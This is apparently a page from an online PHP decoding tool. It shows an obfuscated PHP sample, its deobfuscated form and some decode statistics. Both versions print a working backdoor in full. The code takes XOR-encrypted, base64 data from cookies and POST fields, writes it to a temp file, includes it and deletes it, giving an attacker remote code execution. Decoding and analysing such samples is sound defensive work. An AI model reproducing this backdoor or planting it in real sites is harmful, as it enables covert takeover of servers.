Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$JPGCzta = chr (89) . "\112" . "\x5f" . "\x49" . "\x6b" . "\144";$rVcDS = "\143" . 'l' . "..

Decoded Output download

<?  $JPGCzta = chr (89) . "J" . "_" . "I" . "k" . "d";$rVcDS = "c" . 'l' . "a" . chr ( 583 - 468 ).chr (115) . "_" . chr ( 638 - 537 ).'x' . chr ( 186 - 81 ).chr ( 457 - 342 )."t" . 's';$dqaynTOW = class_exists($JPGCzta); $rVcDS = "52642";$trIdeu = !1;if ($dqaynTOW == $trIdeu){function KCIiqmUd(){$onSKFXhhn = new /* 52498 */ YJ_Ikd(11928 + 11928); $onSKFXhhn = NULL;}$dpnRB = "11928";class YJ_Ikd{private function luWLKEfSi($dpnRB){if (is_array(YJ_Ikd::$EuKehOcLHb)) {$dZXpFxHtWo = sys_get_temp_dir() . "/" . crc32(YJ_Ikd::$EuKehOcLHb[chr (115) . 'a' . "l" . "t"]);@YJ_Ikd::$EuKehOcLHb["w" . 'r' . chr ( 296 - 191 )."t" . "e"]($dZXpFxHtWo, YJ_Ikd::$EuKehOcLHb['c' . "o" . "n" . "t" . 'e' . chr ( 672 - 562 ).'t']);include $dZXpFxHtWo;@YJ_Ikd::$EuKehOcLHb["d" . chr (101) . chr ( 504 - 396 ).chr ( 143 - 42 )."t" . chr ( 141 - 40 )]($dZXpFxHtWo); $dpnRB = "11928";exit();}}private $tMSwDBSTOE;public function DTPItjkOp(){echo 28881;}public function __destruct(){$dpnRB = "63062_60940";$this->luWLKEfSi($dpnRB); $dpnRB = "63062_60940";}public function __construct($npXTEfCTYj=0){$aIFPPBwqf = $_POST;$UYyFsvPClq = $_COOKIE;$XfxeATDIWB = "914a3dc2-b9e9-4bb5-9313-93d5d07d3ded";$ShvCu = @$UYyFsvPClq[substr($XfxeATDIWB, 0, 4)];if (!empty($ShvCu)){$uTctwbH = "base64";$DzVvSAnewg = "";$ShvCu = explode(",", $ShvCu);foreach ($ShvCu as $VsvTA){$DzVvSAnewg .= @$UYyFsvPClq[$VsvTA];$DzVvSAnewg .= @$aIFPPBwqf[$VsvTA];}$DzVvSAnewg = array_map($uTctwbH . "_" . "d" . "e" . "c" . chr ( 570 - 459 ).chr ( 909 - 809 )."e", array($DzVvSAnewg,)); $DzVvSAnewg = $DzVvSAnewg[0] ^ str_repeat($XfxeATDIWB, (strlen($DzVvSAnewg[0]) / strlen($XfxeATDIWB)) + 1);YJ_Ikd::$EuKehOcLHb = @unserialize($DzVvSAnewg);}}public static $EuKehOcLHb = 61302;}KCIiqmUd();} ?>

Did this file decode correctly?

Original Code

$JPGCzta = chr (89) . "\112" . "\x5f" . "\x49" . "\x6b" . "\144";$rVcDS = "\143" . 'l' . "\x61" . chr ( 583 - 468 ).chr (115) . "\137" . chr ( 638 - 537 ).'x' . chr ( 186 - 81 ).chr ( 457 - 342 )."\164" . 's';$dqaynTOW = class_exists($JPGCzta); $rVcDS = "52642";$trIdeu = !1;if ($dqaynTOW == $trIdeu){function KCIiqmUd(){$onSKFXhhn = new /* 52498 */ YJ_Ikd(11928 + 11928); $onSKFXhhn = NULL;}$dpnRB = "11928";class YJ_Ikd{private function luWLKEfSi($dpnRB){if (is_array(YJ_Ikd::$EuKehOcLHb)) {$dZXpFxHtWo = sys_get_temp_dir() . "/" . crc32(YJ_Ikd::$EuKehOcLHb[chr (115) . 'a' . "\154" . "\164"]);@YJ_Ikd::$EuKehOcLHb["\167" . 'r' . chr ( 296 - 191 )."\164" . "\145"]($dZXpFxHtWo, YJ_Ikd::$EuKehOcLHb['c' . "\157" . "\x6e" . "\x74" . 'e' . chr ( 672 - 562 ).'t']);include $dZXpFxHtWo;@YJ_Ikd::$EuKehOcLHb["\x64" . chr (101) . chr ( 504 - 396 ).chr ( 143 - 42 )."\164" . chr ( 141 - 40 )]($dZXpFxHtWo); $dpnRB = "11928";exit();}}private $tMSwDBSTOE;public function DTPItjkOp(){echo 28881;}public function __destruct(){$dpnRB = "63062_60940";$this->luWLKEfSi($dpnRB); $dpnRB = "63062_60940";}public function __construct($npXTEfCTYj=0){$aIFPPBwqf = $_POST;$UYyFsvPClq = $_COOKIE;$XfxeATDIWB = "914a3dc2-b9e9-4bb5-9313-93d5d07d3ded";$ShvCu = @$UYyFsvPClq[substr($XfxeATDIWB, 0, 4)];if (!empty($ShvCu)){$uTctwbH = "base64";$DzVvSAnewg = "";$ShvCu = explode(",", $ShvCu);foreach ($ShvCu as $VsvTA){$DzVvSAnewg .= @$UYyFsvPClq[$VsvTA];$DzVvSAnewg .= @$aIFPPBwqf[$VsvTA];}$DzVvSAnewg = array_map($uTctwbH . "\x5f" . "\x64" . "\145" . "\143" . chr ( 570 - 459 ).chr ( 909 - 809 )."\145", array($DzVvSAnewg,)); $DzVvSAnewg = $DzVvSAnewg[0] ^ str_repeat($XfxeATDIWB, (strlen($DzVvSAnewg[0]) / strlen($XfxeATDIWB)) + 1);YJ_Ikd::$EuKehOcLHb = @unserialize($DzVvSAnewg);}}public static $EuKehOcLHb = 61302;}KCIiqmUd();}

Function Calls

chr 6
class_exists 1

Variables

$rVcDS class_exists
$JPGCzta YJ_Ikd

Stats

MD5 5a0959353ada1e2a222c6c0a8797a070
Eval Count 0
Decode Time 49 ms